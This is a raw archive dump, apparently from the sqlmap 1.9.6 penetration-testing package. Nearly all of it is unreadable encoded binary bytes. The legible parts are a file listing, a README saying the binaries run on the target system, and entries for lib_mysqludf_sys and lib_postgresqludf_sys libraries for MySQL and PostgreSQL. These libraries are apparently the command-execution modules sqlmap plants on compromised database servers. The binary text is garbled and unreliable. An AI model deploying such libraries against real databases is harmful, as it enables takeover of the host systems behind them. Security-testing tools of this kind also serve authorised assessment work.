}O߲ o5[vY [Q -6áQjbht)Z'eT\nur;Z( G+4E+amlszcy;DƇ ..9aRaKBV)NUIPV vc*uaAZoJ`-'9Xk+5H)pF ݶJ7q+45+vsڐX^Qoi \#|Nad0 ՚Bۮ ǖRq(iIER lZh$Zp$O=Ԋ!,RYo[gm7wpi[Ѳq=Ie-& 4[Kڟ$t~ZrI[򳡽u(@g>S ,aBd=KK#X7[mڝcnLƫ5EBQXK$ O=eB 4M܈Ve[gmA5M*oj!BF),=5`D2ٗ-]h 꾩VvZJT"0nNL&dka Xm7{-`}Yi#7v(\et^AX%eN~GXm fvk?hFS?W-D ɕ˥W`])\藺Gz'GU q\6r҄+xrfGl⭃^;@`05Ip 7|9u9L/NvĖBc[29AЕZ* vk"ЏyW0^3+ ̫1pc<T_1zQl(a& |IdVwB`e\x}6S!^9x]2֢ٴZl"0sޯ,K3ehJWp١,j o[fKC,uPY)2b:ӺTYbSV,rUnd<#um ,߲i7R6G2&k ڶ W rR!n՘`,24Uv)()!vt<+veF$7zr8-Gj ^aɈV۰>RA+ Zmqu2m+U6mG/r'ZoW[l"? ULJB* SI9H9Fͬ|(`?$ﵔ)\pnK@BgU-U_qfj`aT<.1Go I <KՎ;?c]rc0+ =JZH1:PAZ+CCQsx9/[ܠT22=SP^2*m%5NUcRE*olGeV* 6UV6d RBKOc"qw)(Uwi}'b(|r2auJеUSЕ I 6, O%!}GlFQ5+TS1Wk3,pV^HZY@C*SE+t&c:ܗ ëJKt][% Pbvy=lpL!;l4(!靣wlV2XzzK&:6Uzn0U* 4#g w݉txp]84w\ΟT&e Tl+T-m@DqQ%N/9O3T҄Ȫ ^WA~r+a_61$Wp.u v/USYsUwoҐB/o/NP,#=q;f6쪯 P-Ġ:p$7+QwF'mtDMXRC?Ƿ/`Vy/uB.t-x C¯Ax45@əiq_RaWE6c H>`nGt1L]p$eQy`Zeu2VWG15}┼q鑽 %^&) hFiOF\Z5M('&<8 N1էH~@gw0ϗnjwN?<0ʩ M퀄(6R$jHl3up+-eA@/O U8菺Z'wLוHR+qDKS'uzuYTxu]6]Vݐ:5peп*`n '-8֭vmiBwIնEuw*~+ u $ZWbQwn{~SM'Bӣ5s+[z;gog]-]]k}|1U?l~4t`^p[F=ѽ[?RuPF4ELK z^[֙K52GUV@Y#%&1nh2X0lwAt9uگ fpm{8fGmv1;oҏ"SI|_6| %CoWT_Wٷk$a|!.RF5FkXꀗnl4N=7q-k}h[ifq`}Lߣ_a&S9Z8/ U0 eKt wVPN⭁Eb os};nEiגZc <} Я_PHčJBc[aod^~"k!_GM myÂqdS|]O 3N ۺ~ݷGwx@_;@ז~'9n߷ u=u<_5$T exkq `PLH$!i[:> oC2NHfGHts0MQZh k&mV1$J:+`'عYOTV@] SԽ_n[8JM`خ嗪Kvwn7_2mt 6Aw8MU\09\0TJܐK>?plXR,kWeQ rQPtN‘oQV,q 0QHbF0P''ވ o^hԁ"*ѻD -,"m}g 9kwHq%TB*I !ۗ =!Ke28 wU\c6P@5FkNt|*];s7fEB[ cspm:+Ϟ~߭q^iƕ !B'O#{e;èF] DݚP!(qvTDžJ $W.؏Tm@fIa%e) z[_0[P&$hJE؉L Coa%ga'k`@ }2oH]_2zA<8^x0G%_.N6Ʃw;ց2t`|XЁI;Y1LqG<^ZɎF ŧ3idD-_dSRY`K%@IhOx6J̳NXAaǃ4';j sbGSpW  VI%Wv4lj!4O}6α&dP1f{$(69Y|',"j|ǃ7#l_nh`0V3D\ 71"7q&@W#Y`V$* z I2TqV,c֫P.k運[p [7hGaa-P ,/,jW6FI&9#N ^5 3B4.Ϊ0c@rl門x \KJ|Zڹֵ=_2iN5Is]X|V#1s#~얄=i"3V=3d2DgFF "g) e"~L⦾?IbgAa޶oT736g)3Myd-*SͯRd禦[!=.5dVNXx0"K,\DN4<'4LB^5f'7ЁWxaj<#4 Z7!xk :{)/>ϡJy [!P.hXVxVjs!lx[;:(Ӂm81R`AݨA &yD,g-GBP(, kR¡,H-aB:}#ƮUz"$e>ו*pOH: ]!џuI?3B 'k7f\g0UQ)p. S:gIB9q/us!>;6@[ϑ#%m\i׮R9Yt9abx~1cO@N@tہ%jm :Nh1) FnP$zoAwMyIo/\c ;1`͐16 HԤ^M=-ML,,f&TeŻIJ[NT ڂE] uΫ "#'پR{^93Ez^Ș.{XA`jm?^FNMJFzR!iqɓ<}-0&d{gZe)ih4>RQ>_k9I׺nYU ][<~_(M0]pWYܛ.4U$#܁!$g,^ic4Mܹ ;җSX݆vf&, }LpV@ϯ 9;J> 1$b^Yi"~df 1?0Qű]Gۭz&K&_J_+P|RiPr 2Tl(85$G{\MMÓ'aJg[A.Ou.auz'@ =ˉTW-ERz>Nf*xkէWc\=Иi\g".B/}A+)ć8 4GIlSboIگK [dH5BubB<S?SRQl#´uRHKJBS̾eqKHC:COWeS EVQPZd{^g=zaPƬfzɝ޵ty /2Ҵjk:^X5z"<r4 dMQ#F\q F HWչ<@f/Zg[Mt0W4OfɂN|^ϻӃ?mЕ.R$aO@[5G=٬Ej%\߮P jii;]wb]c¦ D ՐŒƄ5-tzնGˊxVFAgA(UH'"N10+ɝZ&wUEQi,BDܩ{r|f̕)yNQe&['V6DAz.ui. ˂eRqMݬXo*%uKOb |_ߜu+ wl3W_0u5PtKݬׅ}h|j;M2# [p9,h7Pq@*z0\#@z&̲VK$r(ĵaajpH)L!oW})ZIc9Jb]|vҤ;J qk=2-|ZyIneg|J܈ PWR(K E61{}5(?,S킶9A&X=^N= K RB)e#.Iz wwcwd648aJUcbIBI{ Q[!کt(Ilhבppv,~Ӗal'QXmVK4 fƺ >}.lyXdGŭzwX;;{`coxs xG?/ >(b%`2c<5. +*σJ@׼KB.wZ˴6`Nz,x!9 AoěfB@6$P: +2&"}k7CTZ R?`; | gϩvqm/`5_c9JqPdc)-%{I%C8o5f(PіLׇق29`m 1 Ac6YXV[t3d8Z$h!wlo)Aˡ1v]wtvnG#~➙'BJ` ۋ1J= {D`c%*oMTxzY1:ck1 ح% ]Ҙ:&UY\$ ~0 -O'?%O'+Hh5ksھwX>bԵ=6Ł&G|?3LsQ!jul+fq=ډǗ)IvD|uSAR`];</_Bw] lϴL3iLtAp twW]]87c8ѡ(ѠT'@U# ae*XBSk"އ;5Tw m] nl 96#&&{X1+`+; t#VW wQ^{~?-{DAPDZn!ynPQO0=(S=b7Ug$ Xi=oe@H8XZfvo9]^/quĖ~9?f ߁M;yw6It];꿹V~w?nebiw$}I?vGަnU*8`ѬOJG֟{_O1o_dx8Oҧ}h7v J}"s OCj8}>w֠G%'0NvmIUᜒ|$5yNjt[L!0t=v?P]~]‘Zeأ%p@Nw"Dxa=K1w (ˏb,6Zv@ذBUaى?X9O[jaR7Eپ7.*e- z`'JjS1ѥer;5ca=ח tw2Nkd~9|ڬ.@̎EDZբ#SP'UP}֫1 p}p*dZv.R1Ɇ[2IsD ՠ7X>r}9M|^xm9e,c%5/2_ՙ+~u혏O?1V{HP8wWݏӡް6܏nH찮~WSOgp_6_X/.Ai?oq;6NMh9.E?hx9"= #bQr:` චB8 :Qw{E6|{/0!:OIh5L{yd/3uPnNװ[f~[n#Cy(+7w|O'2rïeoK e>tA$yNRI?o$F0$YG%HWFId\JT2 VZ=}bBrnox"oN->GI':GG/!abjlt=:=Zz)ϧ&:Sa`8=Gy~&<61x6༛HVNy ҷwLKXAqpw2mf=ϲN)Vj6M`bPOd<4;,F DtbHpnAnN[6܄N О,@p1oV`ǷdՍ$UEH 4oRE͏N5%mM\W*4Ax X$8n2d%;a)p_8;>1{fAd%E,,@y:TOCDQ%O҄'^~^>_kgo/ܞ|/:<}Q,8 -?!{k \H`.cA>e(;{^?|!wu*H0e(1cge:Qm[D[@kLF6؊/ ,)t iY|Ńk$kL$H(``F7fۢI)c݁c$-B5a ]49ӈW# r<5Ïy 9~̯)kwQTL6 qX` -N}FV?۝JGVVz`:DF\X#"RxlٮiEv3#@$,'^-9Bӷ!qNQ5N2UM3Asԕ^T{3Vz PNL ,1*OuRJHɎBu!\N"qjm嘥<ʐBrL2CkrFA@g+_zH"UN"eŦZG<44{$Lv/U1>mr#SmM:qBD!:*g!<2VmXIQVSCG"J-jոX^pTe)&I"ip\+^߉i ;aqF$NӲ"mŤh*p. vx&{5XMq Aj5^w}R?"Ov|># Z22$bUVc~Kb6^  uNtTȞy[S!p5xx½ 0m#3 $003Ґ 5SF$:HAFTjZo~O]Pυ 3bϝZ4 PṶ̃:,<ǜ=f툞_,N"c1vCe^!Al+:%hoW:L(v'UnG{#κ)Xθ9+KݶW;Ni;-ӝǻ<EIHJ ^>u@X$X @ xTls(#+Cӥv[!\-_S@V-PVXi&2ΰ EI>O]bbN2e?lLKT4V5O@y͚K;[/-$s2E lxcO{Yb; W}j&JzPZƛ2zS҆vS<VH)Զ0լ2@i¿46Mbsڜjo`BdY+<"r s iڮU[時ٍL2Yձ\+p~{ o4<~-NXY{~2̙Jm#-g7Lb(U &V74xԚեkLaV{n llEdg0lnȏ6mH V7ǸsߒBUxh\(O6]bWqԻg>b=_1PH"̙/CRI_j̄h~jy 5Y y*OvGu`%`UCq蝼Gx>.UudLdXKg%Y8>q(2 O 12'ፆV~q50i'yǵҀ3$lhH䶥 `RW2>:cd.b^*N˘m;B$Sbk5v=$dKMnZ"\Ŗiwdt`^3.{f 42]jw7悆ۨ&m Ô{vۃhnJoPO6Oq~ ?өe;CP/ok_%7?JX..BAWi3Oc+]1OKUBPR,ZְƍjԮ׮`kt1pźU0%{KZGo2y)F`4|lxYEx忁9kuYvSݬ~7vmOdL8jSa9d[nަ ɦ"o٦4Sqf8[f m8\LYN\ C{{AIjZq$BtX-Fcpʠ[=Y@Z5j_[VYG'tOm$P9 E דA=i%n4O> ܍g5#w:| R{a@em=|t{^3I!Ib14n! 䞻27=t+! (yX% P]a"I׋ShjKW&<+5N h2oCa hud˨HI'-JeRBMMp+m{:Kpt-d;p½ݛ]zX鬾.46 ObxX-goXIqQl9rWbHv ޏkϛW{a4J87+&%2Xһ d]BPcuHBuSBkF |.D- BJ,xm6YdS$lnֹPoG /x[Z:aYQt˵Wvyd=R hU'}Dwj맖F!(Xʉ v;e- 4_ڰAW% [8Lfsr詹@H vܶԽ C <ĹJe=hC#EO=Fxۿ7D_F hh}k:Ziahr 'ϱ֭XEζoXu&5Ђ">:j:Le*Rw IL#0_xiWHs׺L (0]*m0۱_H3l.V-HTQ1[s GӞ!OiG45(`+#\͑+[&=mӺLx*X]g[v tE !a),uZΪ^qXn~D<=z4ņaw: ;CΞ4GJ掐QN6`+HuHSZ3ܚ*t׮{lFRDALq8sbN3kh:o BvDݞqm2)Z+ RKC\&txږxT94 (6L{ʀue3T?Ir^ƭUjpHl|Q6`2NAسiYC^O1K΢{sӊcޑ1pbB/i|c{v6avkjq|5ݢ@-T-[ݿ'\0\,HjYG6a&'x,6\$M> Gw!؁i8qK2I@2<͗+BΩDvX.УŸ]L5,S=;2M',ܻ7b<{o~e4coTĂ#^Om4@% :uHҲhͲ\׉ceqY9LzD *iYQZh9fMR0;]b e)=2ѵ<> tMt),ôKf_,ˉKo:hpr9waQocu ]nSK Gn8 ,CNsV/3Xx(w@rʦ}OzO7a'E ڹu9ǝ3 x." 8>m7w0_W׮8QPEClvE>`p|6:w.9^ {"=/wDqʁ:p%|غ17= 5Fs)3C_Ա#CWΝMk֦tgf=օ(&"x ,ivp,Tq[%Vi{,e(֝Ge?qc;z7Oj]cu-e0_4vǎjuԪ5aKH"| ~kbr(=Jp{Rx҆7fh.Mr`WSm ׫mZ{*}}u tTk%Nn*a v&nϦ/wFPRһ\_)?j */YNXE:]] uD6Cuu| a0V:)6k2N}Uv]U: U<[&cGr;(SOZXpVUJFhaCUUMd`=SUTuT 't!ˀ_{ӖTXYDXr NX\mΚY@X7|]:Rh3PrOxu5r+ {;T=*i&VLpXS`}8T ?eBVeɣa:ҿ#q0fPJYbU99^/=t92 CGL6{]5`-,ApTO|=֓,\Or6- l_fkV2 }~~x!Ox>md_17䑐9Fucc:ZaQZZh:*V+O lRs)]`8P"_0ʘ&zU#UU'^,QHCҜ/h36J/P].ر$D`(ԗt[6w俬9?*S m(@yG3>]%%tolwŤ(jeM3=aH~J  3)$db 4`AGgC!@$Ā.jXoCMic|Էu'T7v6=F6)ݸkgGC_l`2!bt BZ7j4aY [b璉X1'VP3[&_uG}r'& h-$9䂕x.iqH_]Lq9wsQ766dCѴ8N =+#HmrjRcBo7/.l&]"H68<`?ޅ&.N Ⱦvc |wMQâ)Hd5f߳O6zO$Q i%(v*ۚ$t+Kq@{`"V'M1XAu4yTy9/0!.3M8VRQzGA2sy|ϰ 9ZWXb++TjA{"H(w,MPQ:``FB XdUؖ3E]Tplna؈\F;Bi·%e؇w]JWpOxCv`G]&fUz]m.!660My4!Zє} =eղ QdY  UyQqO)9AdEi}l;`R W; }0U}LaAG]sD8qVyf:cs=1^">RJGHaGJpZBǒWКNi qPbHCrK?ŊP\d GlBĆ&&`!ţhAtȗrӊrZA PU Zb4V4c2ɸRh3`Sʤjv)mKcJːTjj6T^u=w||~ bʬ WA@20j\}d,em;֝q%zPY :+/5FVer!ˌ=Df &Ԍ},cbd͘ fLBiH~}zbC̸4FAHJfqlZ_ŅTӯ:|D:Y0ޔ s*Al<5R9FX(>p2i#@An͈%}L' " j 3B&u a$6led4ɔLt9WAbWg1;gh93{G4s6 os|2fq4d3گ|tCBNz;pb%/d$v .Xc]4.7aSur#dL(!dj"5,V$BPmx# 6rχТx%+a?4wA,$l)T>Df ;fSplp0^NR`7vKA0#a55CbP.f`T@I?ccLveɤZc5iz8y$ 9͖VZK:LȇX6l}J}jk==dɸ(eL"Ml XJ@Yb &; ;Ζ|z,|lKJ8麪`&T `o?i/,I (Xsc>|7+B7 KAjrj1>svLiAO@IpeFbNGIl(l>3<^-2sw,;`Yd0Х/mJ _lf,q`7fj R{ݽ`|xt~l~qk?\4˛wq}2x20~) h'/4].~]˧>(DX{1ﷅ|;^|}._7՛oꝄǷ>5d0ٸ ~웉 ŧw{&8^PH^0~De6~͛oW>yb 'o~'ÇGn ^Kdq6Y_J\* ]ғLX V6mT$܀3 ^ž8tur_I{N2k).ҋ٭f{j!i,AzH7~~zd) 'hWsX.}GxAǦttZCAuMrB[׍|.ڤ\A2ަTy:K3} թF* 54E7Ἶ? |PKeS'[\; wordlist.txtUTctaux PKR\sqlmap-1.9.6/data/udf/000077500000000000000000000000001502261744200145165ustar00rootroot00000000000000sqlmap-1.9.6/data/udf/README.txt000066400000000000000000000004321502261744200162130ustar00rootroot00000000000000Binary files in this folder are data files used by sqlmap on the target system, but not executed on the system running sqlmap. They are licensed under the terms of the GNU Lesser General Public License and their source code is available on https://github.com/sqlmapproject/udfhack. sqlmap-1.9.6/data/udf/mysql/000077500000000000000000000000001502261744200156635ustar00rootroot00000000000000sqlmap-1.9.6/data/udf/mysql/linux/000077500000000000000000000000001502261744200170225ustar00rootroot00000000000000sqlmap-1.9.6/data/udf/mysql/linux/32/000077500000000000000000000000001502261744200172465ustar00rootroot00000000000000sqlmap-1.9.6/data/udf/mysql/linux/32/lib_mysqludf_sys.so_000066400000000000000000000047201502261744200233430ustar00rootroot00000000000000= :;%4{ z9h٧Zu m#}6zVUw$\.(|  -b| .ԀBbDl%3׻Uoӽ8_ ߞ׮4DNa[2Bt{b0uu4¶ ߃fi5yye@gXyn"CCX{=O&,}gDDueo,nQ@-$R04C R[Jy'“}ލZdܧg-@1dnmƊk*aR,L]cmF!C|%_J$?F䀌J>09Hʡ9CB:#~9HgvEM-(C¿#Ӓvg S[kڿE)]ϣvdYJO@9f=*m}s@DVɓkd8*>K3FclCF݉H8>pnhk5sԬZY8f[\ tG_%fdGQ0x WLepcqo ֽHbWnS~ӯB }c&%6eFg a͹ic8#5ꝺ8lmEwG=kW5&qFR*W%|2Y;Թ@l]`RrQO|X yLQ0=7D"@ ,H0Vb{/KBjaY !w x\|/~ eu$)E:I Wd|VR8CS6d` L(rvM+YߜIJ{_KyP!zZaQliMOr `'=g#[(?`J8 NYW_1/ol(+"N!r&HİF8k =jm$ j>"^,HtAF-=m+F*\+Q; $w0?&ADhwPGѹFft o7$~9vϜ$ "~JNmHqE_ z'v%UYfUWYKm#,CL6WWՉ]\"D0uSnbHh[OSShD``g^xE,ŒlL$4/oN2b6Ve~V`;^5Zp0 5판$>YJ4{Gu1k/vaLRxdZ:@mK-\tT+ԞgK9T)whȋ"Tƨ #8NFFeuYnፖ(+lUQsCdpB_MoSĜ=tU?܀2N<&U+LtĞr mrQX\02h/)!{wbvK֛T.G %8?w#>:bǬ-^!xԶrO]g©S? xkʼn*?JFM5Tyd<=֡-5soYjr_Fo}zնtju&UluJHs_8)kʻs`c(tJ _]rB3 Rni8cDsqlmap-1.9.6/data/udf/mysql/linux/64/000077500000000000000000000000001502261744200172535ustar00rootroot00000000000000sqlmap-1.9.6/data/udf/mysql/linux/64/lib_mysqludf_sys.so_000066400000000000000000000062001502261744200233430ustar00rootroot00000000000000= &<)v+ewl]GIhr@&X!y'Њ1FqQ)^ìp=cqn@0JG 0>9m|M??閿JFs_kg%j~ֳ" ?O" "  Zta{}0;v y^R:LwgQoR, >0Hߥd)NS6L.K{o( 52ct5[HJkx2LC f}#ۢ7 =X&$ZR{ Nk6ɩ~ٹ1lPM82$HOut.\:=c3)Ca%}}>NLAj'ݢ|=/S [ڗö/td#53~﷙E?]ɠ::|J hbĂQ,ԣ۬b}eE3Ig;=CKC”cF /FH%Q{I}O|Ls2ʧc;ғش)LAp3k%—t29ty,pYC y'Q<=zEӨQ(m2Edd|JY-=F YY0;9տ8 1t)x)##Y]x[b }#e\U&<%_Ӳ xG-77[ޱ!XğD$Dd֑эgF)(5䠜{DG{_SKQH% <03p6[(' -=| /_LX i%t<F):[s?UN܎ea8+M$,ܚk@,L $vưeI}z8^;zN0îdJ8,V?AmcFTہe?``.,Yr]?w![ Iuֈ2?"h$FM@ɥ"pW}(0M"%-:ILZjKR4i#Ҩ)3{Og̘䲫VZ\>PTRS2QOeܶ]2Wɍ׳M|Iy.MWiyD>_ĈflI==\}$͂xc&_TcO)쏔(ABlL-W PVG8QHD .u9o_bk/1)~WHdqno *%[=TNۺp,MDROk&x%")Bf{%xaq6Q3Q_fUkvՐv} i^Gcr';zfB%>,|~@Mv0CߊXݓS!ς![Ay3*@~K$dSCsl[ b-=fr$hyݙ)ݤE8=Lb _MYPY"md@FЊT*"ܨѢ_>w (~uD\٥B*+QAK B)!SA5 IGF*v&톉Td )NôY9B(1A^dzXT-pi9ԻT8%ty\8զ%_ko^ɆS/9ִ}ކgŽ*|Jh. Hl^% :説d՘xS(:i?Y׎[o] N+Kh>kڗSR)IL#nYRԆsqlmap-1.9.6/data/udf/mysql/windows/000077500000000000000000000000001502261744200173555ustar00rootroot00000000000000sqlmap-1.9.6/data/udf/mysql/windows/32/000077500000000000000000000000001502261744200176015ustar00rootroot00000000000000sqlmap-1.9.6/data/udf/mysql/windows/32/lib_mysqludf_sys.dll_000066400000000000000000000107051502261744200240300ustar00rootroot00000000000000= ;;gmE2VrCd %MFaGCjUh=ZWj=W(D / Zi1C6]<-{)gӉ,rݡJ=J h pl} lwb0SN'41ztp4.9 w${:@jgz̞@n0W"TGˍso]cyRyH_;G8~$(Ac$|8RZwdki" iLVGlݛJzѾJ'~Kyu܎|4QgM~nQ6A@uϨj'3$-!%moYif'N҅0jif%\RVtPS$Z]PW:$~9mr{pi*}:$-[FHۆ_&ةboKFZ 2Ura RϿ-k9ay?Z틏`& ,<Xwo+ !(1;KnGc)S PfRd/VZ(^XXiL͉{8]ۊ6 0cW ن\ZF' PEy©r>8R~CjX2=$\ћD}\~" Kc cuj}@M6e ,Ӭb`jۻG? G]T2o :d_δDzB{j;5Z8&m,:J}Ѯ}1F|R\?N bUZpT| ٌ* |DcX( x (gns @!CR;+.3-%u`=ny©4~}&ْ**qhQƣ妵P`]amFf6/~K`ӅYtbjFbwשpҳ.{)xn:Y&3da X;D\` 6M $s y*Zڄ+R[Gǵ2}Z w:S40ʗ6v1:,&5(?H,!)8b?72Q!%ɗ.ǰFк)Y0@kMd1BaߢphL#m.)^_\m-)(weYzy hO$qt_hmrv0^!FMpk}j,b *XWLGjUgGJ%]&lJ /_#NȃX'9J8"D2+o[K(]ƾy |C9{g ?F< @夜‘y{ 5[D H@K]9b@+ײO:):ō|,nb򒯡x~8WҲƞq((fʆxk2hynM6ϵ,3 Cce 56gY5Tr:!) gXgTQ؅j24u6a<ڃ~-}UؙMD_AӔ Ɋ\΄妻ʾE0!ϱ˼3D>Hd婢{{"0%dYο͊Ϋ/|ͣ½ 7Unΐ{㙩71K L[9Jd 5GEF&ܖWᏤ2vR_VsX4/\_%.cpLpd*z$uΥ@ # kq|..̢"V,23֭S]}5Hky8r@e* bѱ lϡ}sm^ ڱ1yH@U-aVzozP8X>7xuWȖ1 ;3Iʐhn:ǫ-^V/"0[ݛ +yOYlS'r͞ vi<&֛c o&}P#=LʟzrJ Tz'';O:R{,ÂflܝrmHKd 9c#2@WKg7$!ށE9QFS8kO;fv#+n$ojwHeCo|tc _3 I㛟k9'Ces-B=8*xzd+:qiҏa|6-q$V(-_5r$(1S/ϟYv6;w}\|Iϡh(6=9*yNV "71h~cP؈5iOL4reG4.2X_$JEG_(t?>L|FidLgBh.E?eGL/#T#Wn1|SśEz6} \z8>lyn{l]zV`y-[BQ;/erRxp#3*ne:!6P&K"tҺu*wn=Y9S>Α]lSx:;ϥ}v&`wdp6s+)(V. ˃wG|?(ƢQVw j:C&&2oN6AHl(g:-fG<)·ҕ5 @rn>]ҦdvGa^߇-dC4qvSSzK0̜ϜH;4}TA^_ wX \]jQŚv\h[Yw6^CQًUCwPf[iw73kq1?֐.HPeUhT1g@x.l ;@rFrG R9Mb,${W/AVm{f8k@'KQH!Y - CmW B:Vtmh\Y[P;J<:] +HHom5]8qJ5>VD-_ 'c[B908u)ֽV]1>(Ec}r`̑ zZ3ÙC|M5ŒX4۟ aw@R W&%LczPэtлtLGPU,k: ^U [*/s;%rƍhiG,T\웞=mĀPMdڃ Ͽ! >8A8#ƒZdɍ|65$> ,J Rw'%Kq%z.h%mYj2 in%QE u?#+?+[1+xe(pQcrh m",=@︴ sm&ݩ 0<[}|;bXALU0",ݥob0$;IJG^+x-Vљ`l)~YGaF|j>Q;B JխGMqa]mM+xE2|ZWt^)J2mC sm3* iSWZ֦Q-Wn(c͞E}၇g%"P$#:i?P}U]w*^ntMK}m4E=ԟ>zOw?AƤ{A;Bm\%m4a_t`=Q0OZeek/ ,؆k}1ł[T=C[T5'2t"٣Md䊁;j6qjqm@_5! M ( +"f0#ro|^Ʉ;ۭ{Hc+M hvw4]bd-Mƛ+7iZIJcIrzQ kg@"w NHqc\p"VtS֫XQhJ]'S?1Vw+ "Y."~Y:wߟWή,vѫˣ;σxѿ.|(?>0b߈n/$ 71Z8~Sk鰨ކ(nŦ35Lw=]#عtԓ 4e2XrF cXfsDj8RcU;ǂ"l wtvlY 2eH#vیIF=N~i9俌Evfӳ[Y)QB$+VZI{S)tUn?-f~1a50)t/*aۄ6X>y"œG v +2Lϒ$7dWԒwexR:LJo Z-/$ \rWw>y\>դP:ML&cMO"ba2zPX`Io؈N*^D&=m[:.s빟:HP>^(?KY@DٛAm"uS;I'ŀ~rT Jb s$q)}vϚ\ԬT)a fҍ&4Gj2ClpdGnobi[ē7KČg- WknaO-۵lwm/6dj~ܙT`iax=.Nd?3,:U'9\*~ G,h ̋?TXLh[|Ul[Zյh;'=ng)n!$+!mΈKdA9POWg"w>uc}XK0] T|ͥrJݱIOWX8d)W+( c,g jH:'B0܍F9pPP1X>*4Y b ge9KSΒYs *~ D2nFQg|':/{8 , }ɡUmrHY@I(f{E{ԙY'㌌ QS!R|:1lQ5gkDQ*@_bZ.0N`ۘ6¼ßd6,)wMq ,R+'Zs\8 c*=hOy7Dʃ > ]y|~* F<b8e]B)h}>g9[JuHR EP\ r=V]ꏆg/?%"5.!]{#,M'4dFf@<jGH-ozIΗ[,cvVP0l-fS;$ueAd+WnK<`Ն.F>5TW6δCE,IK˺Ny#DjP"@)x6Wa[lCnh:Ȋ|@<6[@AHkosG*H^x†a 9;"i` Ե.ی{z#YV eW`f,Pzl$z]mq}wjo C#B@BNJq=I܋C̋IN y?u3?jiwqb}F$s|7N?,yj63p \& L_06q!nT0!;o X'~|짳{zC yNUyIjjI m>CZKmC͔(K4WwQ ' QYo4Ewͺ!@qVvK(C4Ltĥzk.8n1Fj'~5>0 Xw %؄ڈXV?Z{2AgXؒGM1sj\7KAʣu;'P[]Ve4~V*JW$=UtjL]Q}|S>́-5L2w]Ӛޯ7;1m܇Im yDkWYC+4 ̉zh)s}wu;"g[w -#p7B%5 /<Sn[mP f-bJ8x?Y2a-vJVD1Dcx[өS@oHc 8A}?[#+=fYIwr]cRp}xVno0uRjhPT[g3=/5kGFn5MsBS #HU8K'6 J+iP;/ /M()?RW Hm(8 $<'{ۙV%H텏 !%U7+9I% v?r7Yt DVokމcѕlZX{'b:V83u'r$ȑzVm4:@((z3eOL6N>422!雛ʤR*Ҏ2G_;^ QBhj6Kf,n-+DNKC¶ܥ(5V e}H%<;aͩ=o2{1Z%!To W~ӽ x-غ =p6*9@7.\2JYqe鞔T7DQn&a@碌goPPyV͂@^`ow;Mlf0oH/N=f75mnDuի`/wAOs..ȷ>CcwC}nw>;BN뺼[/2L\ T # mRFGN޿yf늒yLFfmNmWC}Jf[*a 6PBp>W}sqlmap-1.9.6/data/udf/postgresql/linux/32/11/000077500000000000000000000000001502261744200205255ustar00rootroot00000000000000sqlmap-1.9.6/data/udf/postgresql/linux/32/11/lib_postgresqludf_sys.so_000066400000000000000000000051201502261744200256530ustar00rootroot00000000000000= &{%G2H%RJcUsD_.Me ]UNL \yv(堇!ъzb9Qlp5Cs,+K1GގkFfx0kT2p{sݧoJ+҂aT=&oR]x=Ũ=,4oL c.| J"vJ`w10C]hy4ݖpԋ2\1jd"p5[վ? 㾕E'TKh"BIħo2;W ad&`FVzE1%h(OKw[~AӴ[ ݤ9˷\jj-ƨRx5H|*b I/o@ M_&]u_+3"9E4i%MI}O,DjSYGAR U}8Wҥ.&uQ(⳩< l=cGE1,'Wx8+k@P|ጏZ9 .B;'Sag;ɋ .ȝ`Cov=-wXԟiQ.ݜ`+fljݸe*idr8޼3e慸ΚoI?4A\I.)QAuh>I܋C̋IN y?u3?jiwqb}F$s|7N?,yj63p \& L_06q!nT0!;o X'~|짳{zC yNUyIjjI m>CZKmC͔(K4WwQ ' QYo4Ewͺ!@qVvK(C4Ltĥzk.8n1Fj'~5>0 Xw %؄ڈXV?Z{2AgXؒGM1sj\7KAʣu;'P[]Ve4~V*JW$=UtjL]Q}|S>́-5L2w]Ӛޯ7;1m܇Im yDkWYC+4 ̉zh)s}wu;"g[w -#p7B%5 /<Sn[mP f-bJ8x?Y2a-vJVD1Dcx[өS@oHc 8A}?[#+=fYIwr]cRp}xVno0uRjhPT[g3=/5kGFn5MsBS #HU8K'6 J+iP;/ /M()?RW Hm(8 $<'{ۙV%H텏 !%U7+9I% v?r7Yt DVokމcѕlZX{'b:V83u'r$ȑzVm4:@((z3eOL6N>422!雛ʤR*ҪdDzRa a'YN2}4;+u] aR]9^bzpe[4@+ͭ; AW{;" d17Ax[o1l'Addsw3T@;<~uA!(iN΄M7-\|-["uI{0Fw>#ܫ ǺZ@c6]dS#KaQNup26ݳf:L߮Ԥa ɋgciʦc*ŊaڱVq)Qv/p )-t y&, !wi֙hpA~:U__qv_pѲ pLԘ\#ZEv MeS]xV2j{#3ycck}4QRYQh`h Jv"^R\ZDvjh5slֶCI$([.wCҽejsqlmap-1.9.6/data/udf/postgresql/linux/32/8.2/000077500000000000000000000000001502261744200206135ustar00rootroot00000000000000sqlmap-1.9.6/data/udf/postgresql/linux/32/8.2/lib_postgresqludf_sys.so_000066400000000000000000000037421502261744200257510ustar00rootroot00000000000000=s%\ymDD!)!@| gDY1oMb,Xͫw3MF8_N [;r*.SV rY ީuaȹ-G x耩܉4Q2 5x}Z WRUm2|ffɾXL`X|p@YNEӂ[#uWBAE OɊ"U \ŵ5vCeEz3^9B/#l!YW]`wp68.I_<Şg2Zy$|Q`B!.GΝ}z6 ][!rҨ|l]]>C|\6wa[iU3{!~pcR}¼nhsqlmap-1.9.6/data/udf/postgresql/linux/32/8.3/000077500000000000000000000000001502261744200206145ustar00rootroot00000000000000sqlmap-1.9.6/data/udf/postgresql/linux/32/8.3/lib_postgresqludf_sys.so_000066400000000000000000000037401502261744200257500ustar00rootroot00000000000000=:{-69 ێ!BvoJl$ax/+̻ Wkz#@P7Qib4qcנ ʳw!4 ޹ &1蟪˧ jMν  Raޖ(lo71oBfrd:(PkJR"J7J^Q-:4D%@2UԦBS6ALWmGFGjHndN lz쬭h rcG쌔|\(ϱ9H?5{G1xZ;atzoPi H.o QOI[-b6-,k/]ɴu :!m^&w1!hP.M2SMƮdmZgYˎ?A-i-#1L}lhJteѾJ.VxZuLJT|2Ɣ([r@:$!ISK3v<ҍ$B73J! k=D~Jn}sSϾ\t qS[P-xpIX*,lp+b5]dCwAhąI5`ZE9TzKC4#LFa>ӲujAƳOD#fa<=[4ϹސY$Rۄ'F 3g^&sMh`:C)4> P}[jQJrh u/0JJ-gaF~`ZO5?9!_ҙQ Om<Ă<LcYm9כ7N0&|XGMAR&©%Hk`zXwh;<$ͭK0(.H rպoC~B5SòNs>&i0#X6uIl&n z5`Ut3sɬ1U5fKjukK#rmp~7drx Sm{=zMbryxUi,<\tQUx\DNNSkW*u` n҇Q+F~Vُ n3^~Bku Z֞7E,7G6 vTWޟm[v\ǁzMa[A%etC1cnġpNyf*{8rNs@7JW RN?FO 